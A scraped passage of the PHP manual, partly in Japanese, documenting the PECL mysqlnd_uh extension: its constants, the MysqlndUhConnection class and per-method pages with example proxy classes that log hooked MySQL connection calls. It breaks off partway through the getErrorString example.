MYSQLND_UH_MYSQLND_COM_STMT_PREPARE (int)
MySQL Client Server protocol command: COM_STMT_PREPARE.
MYSQLND_UH_MYSQLND_COM_STMT_EXECUTE (int)
MySQL Client Server protocol command: COM_STMT_EXECUTE.
MYSQLND_UH_MYSQLND_COM_STMT_SEND_LONG_DATA (int)
MySQL Client Server protocol command: COM_STMT_SEND_LONG_DATA.
MYSQLND_UH_MYSQLND_COM_STMT_CLOSE (int)
MySQL Client Server protocol command: COM_STMT_CLOSE.
MYSQLND_UH_MYSQLND_COM_STMT_RESET (int)
MySQL Client Server protocol command: COM_STMT_RESET.
MYSQLND_UH_MYSQLND_COM_SET_OPTION (int)
MySQL Client Server protocol command: COM_SET_OPTION.
MYSQLND_UH_MYSQLND_COM_STMT_FETCH (int)
MySQL Client Server protocol command: COM_STMT_FETCH.
MYSQLND_UH_MYSQLND_COM_DAEMON (int)
MySQL Client Server protocol command: COM_DAEMON.
MYSQLND_UH_MYSQLND_COM_END (int)
MySQL Client Server protocol command: COM_END.

The following constants can be used to analyze the ok_packet argument of MysqlndUhConnection::simpleCommand().

MYSQLND_UH_MYSQLND_PROT_GREET_PACKET (int)
MySQL Client Server protocol packet: greeting.
MYSQLND_UH_MYSQLND_PROT_AUTH_PACKET (int)
MySQL Client Server protocol packet: authentication.
MYSQLND_UH_MYSQLND_PROT_OK_PACKET (int)
MySQL Client Server protocol packet: OK.
MYSQLND_UH_MYSQLND_PROT_EOF_PACKET (int)
MySQL Client Server protocol packet: EOF.
MYSQLND_UH_MYSQLND_PROT_CMD_PACKET (int)
MySQL Client Server protocol packet: command.
MYSQLND_UH_MYSQLND_PROT_RSET_HEADER_PACKET (int)
MySQL Client Server protocol packet: result set header.
MYSQLND_UH_MYSQLND_PROT_RSET_FLD_PACKET (int)
MySQL Client Server protocol packet: resultset field.
MYSQLND_UH_MYSQLND_PROT_ROW_PACKET (int)
MySQL Client Server protocol packet: row.
MYSQLND_UH_MYSQLND_PROT_STATS_PACKET (int)
MySQL Client Server protocol packet: stats.
MYSQLND_UH_MYSQLND_PREPARE_RESP_PACKET (int)
MySQL Client Server protocol packet: prepare response.
MYSQLND_UH_MYSQLND_CHG_USER_RESP_PACKET (int)
MySQL Client Server protocol packet: change user response.
MYSQLND_UH_MYSQLND_PROT_LAST (int)
No practical meaning. Last entry marker of internal C data structure list.

MysqlndUhConnection::close() related

The following constants can be used to detect why a connection has been closed through MysqlndUhConnection::close().

MYSQLND_UH_MYSQLND_CLOSE_EXPLICIT (int)
User has called mysqlnd to close the connection.
MYSQLND_UH_MYSQLND_CLOSE_IMPLICIT (int)
Implicitly closed, for example, during garbage connection.
MYSQLND_UH_MYSQLND_CLOSE_DISCONNECTED (int)
Connection error.
MYSQLND_UH_MYSQLND_CLOSE_LAST (int)
No practical meaning. Last entry marker of internal C data structure list.

MysqlndUhConnection::setServerOption() related

The following constants can be used to detect which option is set through MysqlndUhConnection::setServerOption().

MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_ON (int)
Option: enables multi statement support.
MYSQLND_UH_SERVER_OPTION_MULTI_STATEMENTS_OFF (int)
Option: disables multi statement support.

MysqlndUhConnection::setClientOption() related

The following constants can be used to detect which option is set through MysqlndUhConnection::setClientOption().

MYSQLND_UH_MYSQLND_OPTION_OPT_CONNECT_TIMEOUT (int)
Option: connection timeout.
MYSQLND_UH_MYSQLND_OPTION_OPT_COMPRESS (int)
Option: whether the MySQL compressed protocol is to be used.
MYSQLND_UH_MYSQLND_OPTION_OPT_NAMED_PIPE (int)
Option: named pipe to use for connection (Windows).
MYSQLND_UH_MYSQLND_OPTION_INIT_COMMAND (int)
Option: init command to execute upon connect.
MYSQLND_UH_MYSQLND_READ_DEFAULT_FILE (int)
Option: MySQL server default file to read upon connect.
MYSQLND_UH_MYSQLND_READ_DEFAULT_GROUP (int)
Option: MySQL server default file group to read upon connect.
MYSQLND_UH_MYSQLND_SET_CHARSET_DIR (int)
Option: charset description files directory.
MYSQLND_UH_MYSQLND_SET_CHARSET_NAME (int)
Option: charset name.
MYSQLND_UH_MYSQLND_OPT_LOCAL_INFILE (int)
Option: Whether to allow LOAD DATA LOCAL INFILE use.
MYSQLND_UH_MYSQLND_OPT_PROTOCOL (int)
Option: supported protocol version.
MYSQLND_UH_MYSQLND_SHARED_MEMORY_BASE_NAME (int)
Option: shared memory base name for shared memory connections.
MYSQLND_UH_MYSQLND_OPT_READ_TIMEOUT (int)
Option: connection read timeout.
MYSQLND_UH_MYSQLND_OPT_WRITE_TIMEOUT (int)
Option: connection write timeout.
MYSQLND_UH_MYSQLND_OPT_USE_RESULT (int)
Option: unbuffered result sets.
MYSQLND_UH_MYSQLND_OPT_USE_REMOTE_CONNECTION (int)
Embedded server related.
MYSQLND_UH_MYSQLND_OPT_USE_EMBEDDED_CONNECTION (int)
Embedded server related.
MYSQLND_UH_MYSQLND_OPT_GUESS_CONNECTION (int)
TODO
MYSQLND_UH_MYSQLND_SET_CLIENT_IP (int)
TODO
MYSQLND_UH_MYSQLND_SECURE_AUTH (int)
TODO
MYSQLND_UH_MYSQLND_REPORT_DATA_TRUNCATION (int)
Option: Whether to report data truncation.
MYSQLND_UH_MYSQLND_OPT_RECONNECT (int)
Option: Whether to reconnect automatically.
MYSQLND_UH_MYSQLND_OPT_SSL_VERIFY_SERVER_CERT (int)
Option: TODO
MYSQLND_UH_MYSQLND_OPT_NET_CMD_BUFFER_SIZE (int)
Option: mysqlnd network buffer size for commands.
MYSQLND_UH_MYSQLND_OPT_NET_READ_BUFFER_SIZE (int)
Option: mysqlnd network buffer size for reading from the server.
MYSQLND_UH_MYSQLND_OPT_SSL_KEY (int)
Option: SSL key.
MYSQLND_UH_MYSQLND_OPT_SSL_CERT (int)
Option: SSL certificate.
MYSQLND_UH_MYSQLND_OPT_SSL_CA (int)
Option: SSL CA.
MYSQLND_UH_MYSQLND_OPT_SSL_CAPATH (int)
Option: Path to SSL CA.
MYSQLND_UH_MYSQLND_OPT_SSL_CIPHER (int)
Option: SSL cipher.
MYSQLND_UH_MYSQLND_OPT_SSL_PASSPHRASE (int)
Option: SSL passphrase.
MYSQLND_UH_SERVER_OPTION_PLUGIN_DIR (int)
Option: server plugin directory.
MYSQLND_UH_SERVER_OPTION_DEFAULT_AUTH (int)
Option: default authentication method.
MYSQLND_UH_SERVER_OPTION_SET_CLIENT_IP (int)
TODO
MYSQLND_UH_MYSQLND_OPT_MAX_ALLOWED_PACKET (int)
Option: maximum allowed packet size. Available as of PHP 5.4.0.
MYSQLND_UH_MYSQLND_OPT_AUTH_PROTOCOL (int)
Option: TODO. Available as of PHP 5.4.0.
MYSQLND_UH_MYSQLND_OPT_INT_AND_FLOAT_NATIVE (int)
Option: make mysqlnd return integer and float columns as long even when using the MySQL Client Server text protocol. Only available with a custom build of mysqlnd.

Other

The plugins version number can be obtained using MYSQLND_UH_VERSION or MYSQLND_UH_VERSION_ID. MYSQLND_UH_VERSION is the string representation of the numerical version number MYSQLND_UH_VERSION_ID, which is an integer such as 10000. Developers can calculate the version number as follows.

Version (part) | Example
Major*10000 | 1*10000 = 10000
Minor*100 | 0*100 = 0
Patch | 0 = 0
MYSQLND_UH_VERSION_ID | 10000

MYSQLND_UH_VERSION (string)
Plugin version string, for example, 1.0.0-alpha.
MYSQLND_UH_VERSION_ID (int)
Plugin version number, for example, 10000.

User Contributed Notes

There are no user contributed notes for this page.


The MysqlndUhConnection class

(PECL mysqlnd-uh >= 1.0.0-alpha)

はじめに

クラス概要

MysqlndUhConnection {
/* メソッド */
public changeUser ( mysqlnd_connection $connection , string $user , string $password , string $database , bool $silent , int $passwd_len ) : bool
public charsetName ( mysqlnd_connection $connection ) : string
public close ( mysqlnd_connection $connection , int $close_type ) : bool
public connect ( mysqlnd_connection $connection , string $host , string $use" , string $password , string $database , int $port , string $socket , int $mysql_flags ) : bool
public __construct ( )
public endPSession ( mysqlnd_connection $connection ) : bool
public escapeString ( mysqlnd_connection $connection , string $escape_string ) : string
public getAffectedRows ( mysqlnd_connection $connection ) : int
public getErrorNumber ( mysqlnd_connection $connection ) : int
public getErrorString ( mysqlnd_connection $connection ) : string
public getFieldCount ( mysqlnd_connection $connection ) : int
public getHostInformation ( mysqlnd_connection $connection ) : string
public getLastInsertId ( mysqlnd_connection $connection ) : int
public getLastMessage ( mysqlnd_connection $connection ) : void
public getProtocolInformation ( mysqlnd_connection $connection ) : string
public getServerInformation ( mysqlnd_connection $connection ) : string
public getServerStatistics ( mysqlnd_connection $connection ) : string
public getServerVersion ( mysqlnd_connection $connection ) : int
public getSqlstate ( mysqlnd_connection $connection ) : string
public getStatistics ( mysqlnd_connection $connection ) : array
public getThreadId ( mysqlnd_connection $connection ) : int
public getWarningCount ( mysqlnd_connection $connection ) : int
public init ( mysqlnd_connection $connection ) : bool
public killConnection ( mysqlnd_connection $connection , int $pid ) : bool
public listFields ( mysqlnd_connection $connection , string $table , string $achtung_wild ) : array
public listMethod ( mysqlnd_connection $connection , string $query , string $achtung_wild , string $par1 ) : void
public moreResults ( mysqlnd_connection $connection ) : bool
public nextResult ( mysqlnd_connection $connection ) : bool
public ping ( mysqlnd_connection $connection ) : bool
public query ( mysqlnd_connection $connection , string $query ) : bool
public queryReadResultsetHeader ( mysqlnd_connection $connection , mysqlnd_statement $mysqlnd_stmt ) : bool
public reapQuery ( mysqlnd_connection $connection ) : bool
public refreshServer ( mysqlnd_connection $connection , int $options ) : bool
public restartPSession ( mysqlnd_connection $connection ) : bool
public selectDb ( mysqlnd_connection $connection , string $database ) : bool
public sendClose ( mysqlnd_connection $connection ) : bool
public sendQuery ( mysqlnd_connection $connection , string $query ) : bool
public serverDumpDebugInformation ( mysqlnd_connection $connection ) : bool
public setAutocommit ( mysqlnd_connection $connection , int $mode ) : bool
public setCharset ( mysqlnd_connection $connection , string $charset ) : bool
public setClientOption ( mysqlnd_connection $connection , int $option , int $value ) : bool
public setServerOption ( mysqlnd_connection $connection , int $option ) : void
public shutdownServer ( string $MYSQLND_UH_RES_MYSQLND_NAME , string $level ) : void
public simpleCommand ( mysqlnd_connection $connection , int $command , string $arg , int $ok_packet , bool $silent , bool $ignore_upsert_status ) : bool
public simpleCommandHandleResponse ( mysqlnd_connection $connection , int $ok_packet , bool $silent , int $command , bool $ignore_upsert_status ) : bool
public sslSet ( mysqlnd_connection $connection , string $key , string $cert , string $ca , string $capath , string $cipher ) : bool
public stmtInit ( mysqlnd_connection $connection ) : resource
public storeResult ( mysqlnd_connection $connection ) : resource
public txCommit ( mysqlnd_connection $connection ) : bool
public txRollback ( mysqlnd_connection $connection ) : bool
public useResult ( mysqlnd_connection $connection ) : resource
}

目次

  • MysqlndUhConnection::changeUser — Changes the user of the specified mysqlnd database connection
  • MysqlndUhConnection::charsetName — Returns the default character set for the database connection
  • MysqlndUhConnection::close — Closes a previously opened database connection
  • MysqlndUhConnection::connect — Open a new connection to the MySQL server
  • MysqlndUhConnection::__construct — The __construct purpose
  • MysqlndUhConnection::endPSession — End a persistent connection
  • MysqlndUhConnection::escapeString — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
  • MysqlndUhConnection::getAffectedRows — Gets the number of affected rows in a previous MySQL operation
  • MysqlndUhConnection::getErrorNumber — Returns the error code for the most recent function call
  • MysqlndUhConnection::getErrorString — Returns a string description of the last error
  • MysqlndUhConnection::getFieldCount — Returns the number of columns for the most recent query
  • MysqlndUhConnection::getHostInformation — Returns a string representing the type of connection used
  • MysqlndUhConnection::getLastInsertId — Returns the auto generated id used in the last query
  • MysqlndUhConnection::getLastMessage — Retrieves information about the most recently executed query
  • MysqlndUhConnection::getProtocolInformation — Returns the version of the MySQL protocol used
  • MysqlndUhConnection::getServerInformation — Returns the version of the MySQL server
  • MysqlndUhConnection::getServerStatistics — Gets the current system status
  • MysqlndUhConnection::getServerVersion — Returns the version of the MySQL server as an integer
  • MysqlndUhConnection::getSqlstate — Returns the SQLSTATE error from previous MySQL operation
  • MysqlndUhConnection::getStatistics — Returns statistics about the client connection
  • MysqlndUhConnection::getThreadId — Returns the thread ID for the current connection
  • MysqlndUhConnection::getWarningCount — Returns the number of warnings from the last query for the given link
  • MysqlndUhConnection::init — Initialize mysqlnd connection
  • MysqlndUhConnection::killConnection — Asks the server to kill a MySQL thread
  • MysqlndUhConnection::listFields — List MySQL table fields
  • MysqlndUhConnection::listMethod — Wrapper for assorted list commands
  • MysqlndUhConnection::moreResults — Check if there are any more query results from a multi query
  • MysqlndUhConnection::nextResult — Prepare next result from multi_query
  • MysqlndUhConnection::ping — Pings a server connection, or tries to reconnect if the connection has gone down
  • MysqlndUhConnection::query — Performs a query on the database
  • MysqlndUhConnection::queryReadResultsetHeader — Read a result set header
  • MysqlndUhConnection::reapQuery — Get result from async query
  • MysqlndUhConnection::refreshServer — Flush or reset tables and caches
  • MysqlndUhConnection::restartPSession — Restart a persistent mysqlnd connection
  • MysqlndUhConnection::selectDb — Selects the default database for database queries
  • MysqlndUhConnection::sendClose — Sends a close command to MySQL
  • MysqlndUhConnection::sendQuery — Sends a query to MySQL
  • MysqlndUhConnection::serverDumpDebugInformation — Dump debugging information into the log for the MySQL server
  • MysqlndUhConnection::setAutocommit — Turns on or off auto-committing database modifications
  • MysqlndUhConnection::setCharset — Sets the default client character set
  • MysqlndUhConnection::setClientOption — Sets a client option
  • MysqlndUhConnection::setServerOption — Sets a server option
  • MysqlndUhConnection::shutdownServer — The shutdownServer purpose
  • MysqlndUhConnection::simpleCommand — Sends a basic COM_* command
  • MysqlndUhConnection::simpleCommandHandleResponse — Process a response for a basic COM_* command send to the client
  • MysqlndUhConnection::sslSet — Used for establishing secure connections using SSL
  • MysqlndUhConnection::stmtInit — Initializes a statement and returns a resource for use with mysqli_statement::prepare
  • MysqlndUhConnection::storeResult — Transfers a result set from the last query
  • MysqlndUhConnection::txCommit — Commits the current transaction
  • MysqlndUhConnection::txRollback — Rolls back current transaction
  • MysqlndUhConnection::useResult — Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.


Changes the user of the specified mysqlnd database connection

  • ≪ MysqlndUhConnection
  • MysqlndUhConnection::charsetName ≫
  • PHP Manual
  • MysqlndUhConnection
  • Changes the user of the specified mysqlnd database connection

MysqlndUhConnection::changeUser

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::changeUser — Changes the user of the specified mysqlnd database connection

説明

public MysqlndUhConnection::changeUser ( mysqlnd_connection $connection , string $user , string $password , string $database , bool $silent , int $passwd_len ) : bool

Changes the user of the specified mysqlnd database connection

パラメータ

connection

Mysqlnd connection handle. Do not modify!

user

The MySQL user name.

password

The MySQL password.

database

The MySQL database to change to.

silent

Controls if mysqlnd is allowed to emit errors or not.

passwd_len

Length of the MySQL password.

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::changeUser() example

<?php
class proxy extends MysqlndUhConnection {
 /* Hook mysqlnd's connection::change_user call */
 public function changeUser($res, $user, $passwd, $db, $silent, $passwd_len) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::changeUser($res, $user, $passwd, $db, $silent, $passwd_len);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
/* Install proxy/hooks to be used with all future mysqlnd connection */
mysqlnd_uh_set_connection_proxy(new proxy());

/* Create mysqli connection which is using the mysqlnd library */
$mysqli = new mysqli("localhost", "root", "", "test");

/* Example of a user API call which triggers the hooked mysqlnd call */
var_dump($mysqli->change_user("root", "bar", "test"));
?>

上の例の出力は以下となります。

proxy::changeUser(array (
  0 => NULL,
  1 => 'root',
  2 => 'bar',
  3 => 'test',
  4 => false,
  5 => 3,
))
proxy::changeUser returns false
bool(false)

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_change_user() - 指定されたデータベース接続のユーザー名を変更する

User Contributed Notes

There are no user contributed notes for this page.


Returns the default character set for the database connection

  • ≪ MysqlndUhConnection::changeUser
  • MysqlndUhConnection::close ≫
  • PHP Manual
  • MysqlndUhConnection
  • Returns the default character set for the database connection

MysqlndUhConnection::charsetName

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::charsetName — Returns the default character set for the database connection

説明

public MysqlndUhConnection::charsetName ( mysqlnd_connection $connection ) : string

Returns the default character set for the database connection.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

The default character set.

例

例1 MysqlndUhConnection::charsetName() example

<?php
class proxy extends MysqlndUhConnection {
  public function charsetName($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::charsetName($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
var_dump(mysqli_character_set_name($mysqli));
?>

上の例の出力は以下となります。

proxy::charsetName(array (
  0 => NULL,
))
proxy::charsetName returns 'latin1'
string(6) "latin1"

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_character_set_name() - データベース接続のデフォルトの文字コードセットを返す

User Contributed Notes

There are no user contributed notes for this page.


Closes a previously opened database connection

  • ≪ MysqlndUhConnection::charsetName
  • MysqlndUhConnection::connect ≫
  • PHP Manual
  • MysqlndUhConnection
  • Closes a previously opened database connection

MysqlndUhConnection::close

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::close — Closes a previously opened database connection

説明

public MysqlndUhConnection::close ( mysqlnd_connection $connection , int $close_type ) : bool

Closes a previously opened database connection.

注意:

Failing to call the parent implementation may cause memory leaks or crash PHP. This is not considered a bug. Please, keep in mind that the mysqlnd library functions have never been designed to be exposed to the user space.

パラメータ

connection

The connection to be closed. Do not modify!

close_type

Why the connection is to be closed. The value of close_type is one of MYSQLND_UH_MYSQLND_CLOSE_EXPLICIT, MYSQLND_UH_MYSQLND_CLOSE_IMPLICIT, MYSQLND_UH_MYSQLND_CLOSE_DISCONNECTED or MYSQLND_UH_MYSQLND_CLOSE_LAST. The latter should never be seen, unless the default behaviour of the mysqlnd library has been changed by a plugin.

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::close() example

<?php
function close_type_to_string($close_type) {
 $mapping = array(
  MYSQLND_UH_MYSQLND_CLOSE_DISCONNECTED => "MYSQLND_UH_MYSQLND_CLOSE_DISCONNECTED",
  MYSQLND_UH_MYSQLND_CLOSE_EXPLICIT => "MYSQLND_UH_MYSQLND_CLOSE_EXPLICIT",
  MYSQLND_UH_MYSQLND_CLOSE_IMPLICIT => "MYSQLND_UH_MYSQLND_CLOSE_IMPLICIT",
  MYSQLND_UH_MYSQLND_CLOSE_LAST => "MYSQLND_UH_MYSQLND_CLOSE_IMPLICIT"
 );
 return (isset($mapping[$close_type])) ? $mapping[$close_type] : 'unknown';
}

class proxy extends MysqlndUhConnection {
  public function close($res, $close_type) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   printf("close_type = %s\n", close_type_to_string($close_type));
   /* WARNING: you must call the parent */
   $ret = parent::close($res, $close_type);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->close();
?>

上の例の出力は以下となります。

proxy::close(array (
  0 => NULL,
  1 => 0,
))
close_type = MYSQLND_UH_MYSQLND_CLOSE_EXPLICIT
proxy::close returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_close() - 事前にオープンしているデータベース接続を閉じる
  • mysql_close() - MySQL 接続を閉じる

User Contributed Notes

There are no user contributed notes for this page.


Open a new connection to the MySQL server

  • ≪ MysqlndUhConnection::close
  • MysqlndUhConnection::__construct ≫
  • PHP Manual
  • MysqlndUhConnection
  • Open a new connection to the MySQL server

MysqlndUhConnection::connect

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::connect — Open a new connection to the MySQL server

説明

public MysqlndUhConnection::connect ( mysqlnd_connection $connection , string $host , string $use" , string $password , string $database , int $port , string $socket , int $mysql_flags ) : bool

Open a new connection to the MySQL server.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

host

Can be either a host name or an IP address. Passing the NULL value or the string "localhost" to this parameter, the local host is assumed. When possible, pipes will be used instead of the TCP/IP protocol.

user

The MySQL user name.

password

If not provided or null, the MySQL server will attempt to authenticate the user against those user records which have no password only. This allows one username to be used with different permissions (depending on if a password as provided or not).

database

If provided will specify the default database to be used when performing queries.

port

Specifies the port number to attempt to connect to the MySQL server.

socket

Specifies the socket or named pipe that should be used. If null, mysqlnd will default to /tmp/mysql.sock.

mysql_flags

Connection options.

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::connect() example

<?php
class proxy extends MysqlndUhConnection {
 public function connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::connect($res, $host, $user, $passwd, $db, $port, $socket, $mysql_flags);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
?>

上の例の出力は以下となります。

proxy::connect(array (
  0 => NULL,
  1 => 'localhost',
  2 => 'root',
  3 => '',
  4 => 'test',
  5 => 3306,
  6 => NULL,
  7 => 131072,
))
proxy::connect returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_connect() - mysqli::__construct のエイリアス
  • mysql_connect() - MySQL サーバーへの接続をオープンする

User Contributed Notes

There are no user contributed notes for this page.


The __construct purpose

  • ≪ MysqlndUhConnection::connect
  • MysqlndUhConnection::endPSession ≫
  • PHP Manual
  • MysqlndUhConnection
  • The __construct purpose

MysqlndUhConnection::__construct

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::__construct — The __construct purpose

説明

public MysqlndUhConnection::__construct ( )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


End a persistent connection

  • ≪ MysqlndUhConnection::__construct
  • MysqlndUhConnection::escapeString ≫
  • PHP Manual
  • MysqlndUhConnection
  • End a persistent connection

MysqlndUhConnection::endPSession

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::endPSession — End a persistent connection

説明

public MysqlndUhConnection::endPSession ( mysqlnd_connection $connection ) : bool

End a persistent connection

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Returns true on success. Otherwise, returns false

例

例1 MysqlndUhConnection::endPSession() example

<?php
class proxy extends MysqlndUhConnection {
 public function endPSession($conn) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::endPSession($conn);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("p:localhost", "root", "", "test");
$mysqli->close();
?>

上の例の出力は以下となります。

proxy::endPSession(array (
  0 => NULL,
))
proxy::endPSession returns true

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections

User Contributed Notes

There are no user contributed notes for this page.


Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

  • ≪ MysqlndUhConnection::endPSession
  • MysqlndUhConnection::getAffectedRows ≫
  • PHP Manual
  • MysqlndUhConnection
  • Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

MysqlndUhConnection::escapeString

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::escapeString — Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

説明

public MysqlndUhConnection::escapeString ( mysqlnd_connection $connection , string $escape_string ) : string

Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection.

パラメータ

MYSQLND_UH_RES_MYSQLND_NAME

Mysqlnd connection handle. Do not modify!

escape_string

The string to be escaped.

返り値

The escaped string.

例

例1 MysqlndUhConnection::escapeString() example

<?php
class proxy extends MysqlndUhConnection {
 public function escapeString($res, $string) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::escapeString($res, $string);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->set_charset("latin1");
$mysqli->real_escape_string("test0'test");
?>

上の例の出力は以下となります。

proxy::escapeString(array (
  0 => NULL,
  1 => 'test0\'test',
))
proxy::escapeString returns 'test0\\\'test'

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_real_escape_string() - 接続の現在の文字セットを考慮して、SQL 文で使用する文字列の特殊文字をエスケープする
  • mysql_real_escape_string() - SQL 文中で用いる文字列の特殊文字をエスケープする

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of affected rows in a previous MySQL operation

  • ≪ MysqlndUhConnection::escapeString
  • MysqlndUhConnection::getErrorNumber ≫
  • PHP Manual
  • MysqlndUhConnection
  • Gets the number of affected rows in a previous MySQL operation

MysqlndUhConnection::getAffectedRows

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getAffectedRows — Gets the number of affected rows in a previous MySQL operation

説明

public MysqlndUhConnection::getAffectedRows ( mysqlnd_connection $connection ) : int

Gets the number of affected rows in a previous MySQL operation.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Number of affected rows.

例

例1 MysqlndUhConnection::getAffectedRows() example

<?php
class proxy extends MysqlndUhConnection {
 public function getAffectedRows($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getAffectedRows($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

$mysqli = new mysqli("localhost", "root", "", "test");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1)");
var_dump($mysqli->affected_rows);
?>

上の例の出力は以下となります。

proxy::getAffectedRows(array (
  0 => NULL,
))
proxy::getAffectedRows returns 1
int(1)

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • mysqli_affected_rows() - 直前の MySQL の操作で変更された行の数を得る
  • mysql_affected_rows() - 一番最近の操作で変更された行の数を得る

User Contributed Notes

There are no user contributed notes for this page.


Returns the error code for the most recent function call

  • ≪ MysqlndUhConnection::getAffectedRows
  • MysqlndUhConnection::getErrorString ≫
  • PHP Manual
  • MysqlndUhConnection
  • Returns the error code for the most recent function call

MysqlndUhConnection::getErrorNumber

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getErrorNumber — Returns the error code for the most recent function call

説明

public MysqlndUhConnection::getErrorNumber ( mysqlnd_connection $connection ) : int

Returns the error code for the most recent function call.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Error code for the most recent function call.

例

MysqlndUhConnection::getErrorNumber() is not only executed after the invocation of a user space API call which maps directly to it but also called internally.

例1 MysqlndUhConnection::getErrorNumber() example

<?php
class proxy extends MysqlndUhConnection {
 public function getErrorNumber($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getErrorNumber($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

printf("connect...\n");
$mysqli = new mysqli("localhost", "root", "", "test");
printf("query...\n");
$mysqli->query("PLEASE_LET_THIS_BE_INVALID_SQL");
printf("errno...\n");
var_dump($mysqli->errno);
printf("close...\n");
$mysqli->close();
?>

上の例の出力は以下となります。

connect...
proxy::getErrorNumber(array (
  0 => NULL,
))
proxy::getErrorNumber returns 0
query...
errno...
proxy::getErrorNumber(array (
  0 => NULL,
))
proxy::getErrorNumber returns 1064
int(1064)
close...

参考

  • mysqlnd_uh_set_connection_proxy() - Installs a proxy for mysqlnd connections
  • MysqlndUhConnection::getErrorString() - Returns a string description of the last error
  • mysqli_errno() - 直近の関数コールによるエラーコードを返す
  • mysql_errno() - 直近の MySQL 処理からエラーメッセージのエラー番号を返す

User Contributed Notes

There are no user contributed notes for this page.


Returns a string description of the last error

  • ≪ MysqlndUhConnection::getErrorNumber
  • MysqlndUhConnection::getFieldCount ≫
  • PHP Manual
  • MysqlndUhConnection
  • Returns a string description of the last error

MysqlndUhConnection::getErrorString

(PECL mysqlnd-uh >= 1.0.0-alpha)

MysqlndUhConnection::getErrorString — Returns a string description of the last error

説明

public MysqlndUhConnection::getErrorString ( mysqlnd_connection $connection ) : string

Returns a string description of the last error.

パラメータ

connection

Mysqlnd connection handle. Do not modify!

返り値

Error string for the most recent function call.

例

MysqlndUhConnection::getErrorString() is not only executed after the invocation of a user space API call which maps directly to it but also called internally.

例1 MysqlndUhConnection::getErrorString() example

<?php
class proxy extends MysqlndUhConnection {
 public function getErrorString($res) {
   printf("%s(%s)\n", __METHOD__, var_export(func_get_args(), true));
   $ret = parent::getErrorString($res);
   printf("%s returns %s\n", __METHOD__, var_export($ret, true));
   return $ret;
 }
}
mysqlnd_uh_set_connection_proxy(new proxy());

printf("connect...\n");
$mysqli = new mysqli("localhost", "root", "", "test");
printf("query...\n");
$mysqli->query("WILL_I_EVER_LEARN_SQL?");
printf("errno...\n");
